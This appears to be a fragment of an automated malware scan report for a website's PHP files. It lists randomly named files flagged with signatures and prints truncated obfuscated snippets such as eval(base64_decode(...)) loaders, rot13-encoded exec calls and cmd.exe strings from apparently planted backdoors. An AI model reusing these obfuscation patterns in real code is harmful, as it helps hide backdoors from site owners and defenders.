</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_374").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/pgyii.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:16:38</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:16:38</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_375" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_375").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/fittw.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:58:19</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:58:19</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_376" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_376").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ffzmq.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.20 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-09 14:09:21</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_377" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 891</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_377").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovafhkppb.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 20:11:11</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 20:11:11</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_378" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_378").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/gsdnz.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 18:34:27</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 18:34:27</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_379" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_379").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/xzuhz.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:17:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:17:23</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_380" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_380").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/kjzno.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 18:34:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 18:34:30</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_381" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
